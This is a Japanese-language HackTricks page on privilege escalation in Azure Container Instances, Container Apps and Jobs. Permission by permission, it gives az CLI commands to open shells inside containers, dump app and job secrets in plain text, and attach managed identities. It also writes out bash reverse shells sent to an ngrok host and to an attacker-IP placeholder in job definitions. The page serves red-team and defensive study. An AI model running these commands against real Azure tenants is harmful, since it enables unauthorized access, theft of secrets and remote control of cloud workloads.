Az - Azure Container Instances, Apps & Jobs Privesc
Reading time: 12 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Azure Container Instances, Apps & Jobs
詳細については、次を確認してください:
Az - Container Instances, Apps & Jobs
ACI
Microsoft.ContainerInstance/containerGroups/read
, Microsoft.ContainerInstance/containerGroups/containers/exec/action
これらの権限により、ユーザーは実行中のコンテナ内でコマンドを実行することができます。これを使用して、コンテナに管理されたアイデンティティが付与されている場合に権限を昇格させることができます。もちろん、コンテナ内に保存されているソースコードやその他の機密情報にアクセスすることも可能です。
シェルを取得するのは簡単です:
az container exec --name <container-name> --resource-group <res-group> --exec-command '/bin/sh'
コンテナの出力を読み取ることも可能です:
az container attach --name <container-name> --resource-group <res-group>
ログを取得するには:
az container logs --name <container-name> --resource-group <res-group>
Microsoft.ContainerInstance/containerGroups/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
これらの権限は、ユーザー管理のアイデンティティをコンテナー グループにアタッチすることを許可します。これは、コンテナー内で権限を昇格させるのに非常に便利です。
ユーザー管理のアイデンティティをコンテナー グループにアタッチするには:
az rest \
--method PATCH \
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
}
}
}' \
--headers "Content-Type=application/json"
Microsoft.Resources/subscriptions/resourcegroups/read
, Microsoft.ContainerInstance/containerGroups/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
これらの権限は、ユーザー管理のアイデンティティが付与されたコンテナーグループを作成または更新することを許可します。これは、コンテナ内で権限を昇格させるのに非常に便利です。
az container create \
--resource-group <res-group> \
--name nginx2 \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
--restart-policy OnFailure \
--os-type Linux \
--cpu 1 \
--memory 1.0
さらに、既存のコンテナグループを更新し、例えば**--command-line
引数**を追加してリバースシェルを設定することも可能です。
ACA
Microsoft.App/containerApps/read
, Microsoft.App/managedEnvironments/read
, microsoft.app/containerapps/revisions/replicas
, Microsoft.App/containerApps/revisions/read
, Microsoft.App/containerApps/getAuthToken/action
これらの権限により、ユーザーは実行中のアプリケーションコンテナ内でシェルを取得することができます。これを使用して、コンテナに管理されたアイデンティティが付与されている場合に特権を昇格させることができます。もちろん、コンテナ内に保存されているソースコードやその他の機密情報にアクセスすることも可能です。
az containerapp exec --name <app-name> --resource-group <res-group> --command "sh"
az containerapp debug --name <app-name> --resource-group <res-group>
Microsoft.App/containerApps/listSecrets/action
この権限は、コンテナアプリ内に設定されたシークレットのプレーンテキストを取得することを許可します。シークレットはプレーンテキストまたはキーコンテナへのリンクで設定できることに注意してください(その場合、アプリにはシークレットへのアクセス権を持つマネージドIDが割り当てられます)。
az containerapp secret list --name <app-name> --resource-group <res-group>
az containerapp secret show --name <app-name> --resource-group <res-group> --secret-name <scret-name>
Microsoft.App/containerApps/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
これらの権限は、ユーザー管理のアイデンティティをコンテナアプリにアタッチすることを許可します。これは、コンテナ内で権限を昇格させるのに非常に便利です。このアクションをaz cliから実行するには、Microsoft.App/containerApps/listSecrets/action
の権限も必要です。
ユーザー管理のアイデンティティをコンテナグループにアタッチするには:
az containerapp identity assign -n <app-name> -g <res-group> --user-assigned myUserIdentityName
Microsoft.App/containerApps/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
, Microsoft.App/managedEnvironments/join/action
これらの権限は、ユーザー管理のアイデンティティが付与されたアプリケーションコンテナを作成または更新することを許可します。これは、コンテナ内で権限を昇格させるのに非常に便利です。
# Get environments
az containerapp env list --resource-group Resource_Group_1
# Create app in a an environment
az containerapp create \
--name <app-name> \
--resource-group <res-group> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--cpu 1 --memory 1.0 \
--user-assigned <user-asigned-identity-name> \
--min-replicas 1 \
--command "<reserse shell>"
tip
これらの権限を持つと、アプリの他の設定を変更できることに注意してください。これにより、既存のアプリの設定に応じて、他の特権昇格やポストエクスプロイト攻撃を実行できる可能性があります。
Jobs
Microsoft.App/jobs/read
, Microsoft.App/jobs/write
ジョブはコンテナアプリのように長時間実行されるわけではありませんが、実行を開始する際にジョブのコマンド設定を上書きする能力を利用できます。カスタムジョブテンプレートを作成することで(例えば、デフォルトのコマンドをリバースシェルに置き換えるなど)、ジョブを実行するコンテナ内でシェルアクセスを得ることができます。
# Retrieve the current job configuration and save its template:
az containerapp job show --name <job-name> --resource-group <res-group> --output yaml > job-template.yaml
# Edit job-template.yaml to override the command with a reverse shell (or similar payload):
# For example, change the container’s command to:
# - args:
# - -c
# - bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/18224 0>&1
# command:
# - /bin/bash
# image: mcr.microsoft.com/azureml/minimal-ubuntu22.04-py39-cpu-inference:latest
# Update and wait until the job is triggered (or change ths type to scheduled)
az containerapp job update --name deletemejob6 --resource-group Resource_Group_1 --yaml /tmp/changeme.yaml
# Start a new job execution with the modified template:
az containerapp job start --name <job-name> --resource-group <res-group> --yaml job-template.yaml
Microsoft.App/jobs/read
, Microsoft.App/jobs/listSecrets/action
これらの権限がある場合、ジョブコンテナ内のすべてのシークレット(最初の権限)をリストし、構成されたシークレットの値を読み取ることができます。
az containerapp job secret list --name <job-name> --resource-group <res-group>
az containerapp job secret show --name <job-name> --resource-group <res-group> --secret-name <secret-name>
Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
, Microsoft.App/jobs/write
ジョブの設定を変更する権限がある場合、ユーザー割り当てのマネージドIDを添付できます。このIDには、他のリソースやシークレットへのアクセスなど、特権が追加されている可能性があり、これを悪用してコンテナ内で特権を昇格させることができます。
az containerapp job update \
--name <job-name> \
--resource-group <res-group> \
--assign-identity <user-assigned-identity-id>
Microsoft.App/managedEnvironments/read
, Microsoft.App/jobs/write
, Microsoft.App/managedEnvironments/join/action
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
新しい Container Apps Job を作成する(または既存のものを更新する)ことができ、マネージドアイデンティティをアタッチできる場合、特権を昇格させるペイロードを実行するようにジョブを設計できます。たとえば、リバースシェルを実行するだけでなく、マネージドアイデンティティの資格情報を使用してトークンを要求したり、他のリソースにアクセスしたりする新しいジョブを作成することができます。
az containerapp job create \
--name <new-job-name> \
--resource-group <res-group> \
--environment <environment-name> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--user-assigned <user-assigned-identity-id> \
--trigger-type Schedule \
--cron-expression "*/1 * * * *" \
--replica-timeout 1800 \
--replica-retry-limit 0 \
--command "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1'"
tip
このコマンドは、Microsoft.App/jobs/read
権限がない場合、エラーをスローしますが、ジョブは作成されます。
microsoft.app/jobs/start/action
, microsoft.app/jobs/read
これらの権限があれば、ジョブを開始できるはずです。これを使用して、ジョブの設定を変更することなく、リバースシェルやその他の悪意のあるコマンドでジョブを開始することができます。
うまく動作させることはできませんでしたが、許可されたパラメータによれば、可能なはずです。
Microsoft.ContainerInstance/containerGroups/restart/action
Azure Container Instances内の特定のコンテナグループを再起動することを許可します。
az container restart --resource-group <resource-group> --name <container-instances>
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。